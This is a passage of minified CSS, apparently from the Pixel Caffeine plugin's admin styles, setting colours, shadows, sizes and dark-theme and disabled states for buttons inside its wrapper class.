.btn:not(.btn-raised).btn-inverse { color: #3f51b5; } .pixel-caffeine-wrapper .btn:not(.btn-raised).btn-primary, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised).btn-primary { color: #4C70BA; } .pixel-caffeine-wrapper .btn:not(.btn-raised).btn-success, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised).btn-success { color: #68AA20; } .pixel-caffeine-wrapper .btn:not(.btn-raised).btn-info, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised).btn-info { color: #5bc0de; } .pixel-caffeine-wrapper .btn:not(.btn-raised).btn-warning, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised).btn-warning { color: #FD9C00; } .pixel-caffeine-wrapper .btn:not(.btn-raised).btn-danger, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised).btn-danger { color: #E15667; } .pixel-caffeine-wrapper .btn:not(.btn-raised):not(.btn-link):hover, .pixel-caffeine-wrapper .btn:not(.btn-raised):not(.btn-link):focus, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised):not(.btn-link):hover, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised):not(.btn-link):focus { background-color: rgba(153, 153, 153, 0.2); } .theme-dark .pixel-caffeine-wrapper .btn:not(.btn-raised):not(.btn-link):hover, .theme-dark .pixel-caffeine-wrapper .btn:not(.btn-raised):not(.btn-link):focus, .theme-dark .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised):not(.btn-link):hover, .theme-dark .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised):not(.btn-link):focus { background-color: rgba(204, 204, 204, 0.15); } .pixel-caffeine-wrapper .btn.btn-raised, .pixel-caffeine-wrapper .btn.btn-raised.btn-default, .pixel-caffeine-wrapper .btn.btn-fab, .pixel-caffeine-wrapper .btn.btn-fab.btn-default, .btn-group-raised .pixel-caffeine-wrapper .btn, .btn-group-raised .pixel-caffeine-wrapper .btn.btn-default, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised.btn-default, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-default, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn.btn-default { background-color: transparent; color: rgba(0,0,0, 0.87); } .pixel-caffeine-wrapper .btn.btn-raised.btn-inverse, .pixel-caffeine-wrapper .btn.btn-fab.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .btn.btn-inverse, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised.btn-inverse, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn.btn-inverse { background-color: #3f51b5; color: #ffffff; } .pixel-caffeine-wrapper .btn.btn-raised.btn-primary, .pixel-caffeine-wrapper .btn.btn-fab.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .btn.btn-primary, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised.btn-primary, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn.btn-primary { background-color: #4C70BA; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .btn.btn-raised.btn-success, .pixel-caffeine-wrapper .btn.btn-fab.btn-success, .btn-group-raised .pixel-caffeine-wrapper .btn.btn-success, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised.btn-success, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-success, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn.btn-success { background-color: #68AA20; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .btn.btn-raised.btn-info, .pixel-caffeine-wrapper .btn.btn-fab.btn-info, .btn-group-raised .pixel-caffeine-wrapper .btn.btn-info, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised.btn-info, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-info, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn.btn-info { background-color: #5bc0de; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .btn.btn-raised.btn-warning, .pixel-caffeine-wrapper .btn.btn-fab.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .btn.btn-warning, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised.btn-warning, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn.btn-warning { background-color: #FD9C00; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .btn.btn-raised.btn-danger, .pixel-caffeine-wrapper .btn.btn-fab.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .btn.btn-danger, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised.btn-danger, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn.btn-danger { background-color: #E15667; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link), .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link), .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link), .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link) { -webkit-box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active { outline: 0; } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover.btn-default, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.btn-default, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active.btn-default, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active.btn-default, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover.btn-default, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.btn-default, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active.btn-default, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active.btn-default, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover.btn-default, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.btn-default, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active.btn-default, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active.btn-default, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover.btn-default, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.btn-default, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active.btn-default, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active.btn-default { background-color: rgba(10, 10, 10, 0); } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover.btn-inverse, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.btn-inverse, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active.btn-inverse, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active.btn-inverse, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover.btn-inverse, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.btn-inverse, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active.btn-inverse, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active.btn-inverse, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active.btn-inverse { background-color: #495bc0; } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover.btn-primary, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.btn-primary, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active.btn-primary, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active.btn-primary, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover.btn-primary, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.btn-primary, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active.btn-primary, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active.btn-primary, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active.btn-primary { background-color: #5b7cc0; } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover.btn-success, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.btn-success, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active.btn-success, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active.btn-success, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover.btn-success, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.btn-success, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active.btn-success, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active.btn-success, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover.btn-success, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.btn-success, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active.btn-success, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active.btn-success, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover.btn-success, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.btn-success, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active.btn-success, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active.btn-success { background-color: #5d991d; } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover.btn-info, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.btn-info, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active.btn-info, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active.btn-info, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover.btn-info, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.btn-info, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active.btn-info, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active.btn-info, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover.btn-info, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.btn-info, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active.btn-info, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active.btn-info, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover.btn-info, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.btn-info, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active.btn-info, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active.btn-info { background-color: #4ab9db; } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover.btn-warning, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.btn-warning, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active.btn-warning, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active.btn-warning, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover.btn-warning, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.btn-warning, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active.btn-warning, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active.btn-warning, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active.btn-warning { background-color: #e98f00; } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):hover.btn-danger, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.btn-danger, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active.btn-danger, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):hover.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active.btn-danger, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):hover.btn-danger, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.btn-danger, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active.btn-danger, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):hover.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active.btn-danger, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active.btn-danger { background-color: #de4557; } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link).active:hover, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):active:hover, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link).active:hover, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):active:hover, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link).active:hover, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):active:hover, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link).active:hover, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):active:hover { -webkit-box-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.2); box-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.2); } .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus:hover, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.active, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus.active:hover, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus:active, .pixel-caffeine-wrapper .btn.btn-raised:not(.btn-link):focus:active:hover, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus:hover, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus.active:hover, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus:active, .btn-group-raised .pixel-caffeine-wrapper .btn:not(.btn-link):focus:active:hover, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus:hover, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus.active:hover, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus:active, .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised:not(.btn-link):focus:active:hover, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus:hover, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus.active:hover, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus:active, .btn-group-raised .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-link):focus:active:hover { -webkit-box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); } .pixel-caffeine-wrapper .btn.btn-fab, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab { border-radius: 50%; font-size: 24px; height: 40px; margin: auto; min-width: 40px; width: 40px; padding: 0; overflow: hidden; -webkit-box-shadow: 0 1px 1.5px 0 rgba(0, 0, 0, 0.12), 0 1px 1px 0 rgba(0, 0, 0, 0.24); box-shadow: 0 1px 1.5px 0 rgba(0, 0, 0, 0.12), 0 1px 1px 0 rgba(0, 0, 0, 0.24); position: relative; line-height: normal; } .pixel-caffeine-wrapper .btn.btn-fab .ripple-container, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab .ripple-container { border-radius: 50%; } .pixel-caffeine-wrapper .btn.btn-fab.btn-fab-mini, .btn-group-sm .pixel-caffeine-wrapper .btn.btn-fab, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-fab-mini, .btn-group-sm .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab { height: 28px; min-width: 28px; width: 28px; } .pixel-caffeine-wrapper .btn.btn-fab.btn-fab-mini.material-icons, .btn-group-sm .pixel-caffeine-wrapper .btn.btn-fab.material-icons, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.btn-fab-mini.material-icons, .btn-group-sm .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab.material-icons { top: 0px; left: 0px; } .pixel-caffeine-wrapper .btn.btn-fab i.material-icons, .pixel-caffeine-wrapper .input-group-btn .btn.btn-fab i.material-icons { position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-12px, -12px); -o-transform: translate(-12px, -12px); transform: translate(-12px, -12px); line-height: 24px; width: 24px; } .pixel-caffeine-wrapper .btn i.material-icons, .pixel-caffeine-wrapper .input-group-btn .btn i.material-icons { vertical-align: middle; } .pixel-caffeine-wrapper .btn.btn-lg, .pixel-caffeine-wrapper .btn-group-lg > .btn, .btn-group-lg .pixel-caffeine-wrapper .btn, .pixel-caffeine-wrapper .input-group-btn .btn.btn-lg, .pixel-caffeine-wrapper .input-group-btn .btn-group-lg > .btn, .btn-group-lg .pixel-caffeine-wrapper .input-group-btn .btn { font-size: 16px; } .pixel-caffeine-wrapper .btn.btn-sm, .pixel-caffeine-wrapper .btn-group-sm > .btn, .btn-group-sm .pixel-caffeine-wrapper .btn, .pixel-caffeine-wrapper .input-group-btn .btn.btn-sm, .pixel-caffeine-wrapper .input-group-btn .btn-group-sm > .btn, .btn-group-sm .pixel-caffeine-wrapper .input-group-btn .btn { padding: 5px 20px; font-size: 12px; } .pixel-caffeine-wrapper .btn.btn-xs, .pixel-caffeine-wrapper .btn-group-xs > .btn, .btn-group-xs .pixel-caffeine-wrapper .btn, .pixel-caffeine-wrapper .input-group-btn .btn.btn-xs, .pixel-caffeine-wrapper .input-group-btn .btn-group-xs > .btn, .btn-group-xs .pixel-caffeine-wrapper .input-group-btn .btn { padding: 4px 15px; font-size: 10px; } fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn, .pixel-caffeine-wrapper .btn.disabled, .pixel-caffeine-wrapper .btn:disabled, .pixel-caffeine-wrapper .btn[disabled][disabled], fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn, .pixel-caffeine-wrapper .input-group-btn .btn.disabled, .pixel-caffeine-wrapper .input-group-btn .btn:disabled, .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled], fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group, .pixel-caffeine-wrapper .btn-group.disabled, .pixel-caffeine-wrapper .btn-group:disabled, .pixel-caffeine-wrapper .btn-group[disabled][disabled], fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical, .pixel-caffeine-wrapper .btn-group-vertical.disabled, .pixel-caffeine-wrapper .btn-group-vertical:disabled, .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled] { color: rgba(0, 0, 0, 0.26); background: transparent; } .theme-dark fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn, .theme-dark .pixel-caffeine-wrapper .btn.disabled, .theme-dark .pixel-caffeine-wrapper .btn:disabled, .theme-dark .pixel-caffeine-wrapper .btn[disabled][disabled], .theme-dark fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn, .theme-dark .pixel-caffeine-wrapper .input-group-btn .btn.disabled, .theme-dark .pixel-caffeine-wrapper .input-group-btn .btn:disabled, .theme-dark .pixel-caffeine-wrapper .input-group-btn .btn[disabled][disabled], .theme-dark fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group, .theme-dark .pixel-caffeine-wrapper .btn-group.disabled, .theme-dark .pixel-caffeine-wrapper .btn-group:disabled, .theme-dark .pixel-caffeine-wrapper .btn-group[disabled][disabled], .theme-dark fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn-group-vertical, .theme-dark .pixel-caffeine-wrapper .btn-group-vertical.disabled, .theme-dark .pixel-caffeine-wrapper .btn-group-vertical:disabled, .theme-dark .pixel-caffeine-wrapper .btn-group-vertical[disabled][disabled] { color: rgba(255, 255, 255, 0.3); } fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-raised:focus:not(:active), fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-group-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-group-raised.active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-group-raised:active, fieldset[disabled][disabled] .pixel-caffeine-wrapper .btn.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn.disabled.btn-raised, .pixel-caffeine-wrapper .btn.disabled.btn-raised.active, .pixel-caffeine-wrapper .btn.disabled.btn-raised:active, .pixel-caffeine-wrapper .btn.disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn.disabled.btn-group-raised, .pixel-caffeine-wrapper .btn.disabled.btn-group-raised.active, .pixel-caffeine-wrapper .btn.disabled.btn-group-raised:active, .pixel-caffeine-wrapper .btn.disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn:disabled.btn-raised, .pixel-caffeine-wrapper .btn:disabled.btn-raised.active, .pixel-caffeine-wrapper .btn:disabled.btn-raised:active, .pixel-caffeine-wrapper .btn:disabled.btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn:disabled.btn-group-raised, .pixel-caffeine-wrapper .btn:disabled.btn-group-raised.active, .pixel-caffeine-wrapper .btn:disabled.btn-group-raised:active, .pixel-caffeine-wrapper .btn:disabled.btn-group-raised:focus:not(:active), .pixel-caffeine-wrapper .btn[disabled][disabled].btn-raised, .pixel-caffeine-wrapper .btn[disabled][disabled].btn-raised.active, .pixel-caffeine-wrapper .btn[disabled][disabled].btn-raised:active, .pixel-caffeine-wrapper .btn[disabled][disabled].btn-raised:focus:not(:active), .pixel-caffeine-wrapper .btn[disabled][disabled].btn-group-raised, .pixel-caffeine-wrapper .btn[disabled][disabled].btn-group-raised.active, .pixel-caffeine-wrapper .btn[disabled][disabled].btn-group-raised:active, .pixel-caffeine-wrapper .btn[disabled][disabled].btn-group-raised:focus:not(:active), fieldset[disabled][disabled] .pixel-caffeine-wrapper .input-group-btn .btn.btn-raised, fieldset[disabled][disabled] .pixel-caffeine-wrapper 